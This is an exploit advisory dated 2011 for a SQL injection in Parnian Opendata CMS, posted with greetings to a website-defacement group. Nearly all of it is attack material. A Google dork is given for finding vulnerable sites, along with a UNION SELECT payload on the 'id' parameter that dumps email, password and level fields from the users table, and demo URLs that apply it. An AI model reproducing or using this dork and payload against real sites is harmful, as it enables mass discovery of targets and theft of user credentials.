Parnian Opendata CMS – SQL Injection
########################################################################### Exploit Title : Parnian Opendata CMS SQL Injection Vulnerability Date : 2011-04-15 Author : *Alexander* Software Link : http://www.parniansoft.com/ Test On : php CVE : Web Applications Google Dork : inurl:mpfn=pdview Exploit : mpfn=pdview&id=-1+union+select +1,2,3,4,5,group_concat(email,0x3a,password,0x3a,level),7,8,9,10,11,12,13,14,15,16+from+xusers Demo : http://server/index.php?mpfn=pdview&id=1' http://server/index.php?mpfn=pdview&id=-1+union+select +1,2,3,4,5,group_concat(email,0x3a,password,0x3a,level),7,8,9,10,11,12,13,14,15,16+from+xusers ########################################################################### Greetz : http://Ashiyane.org/Forums Behrooz_Ice , Q7X , Virangar , Black And All Ashiyane Defacers |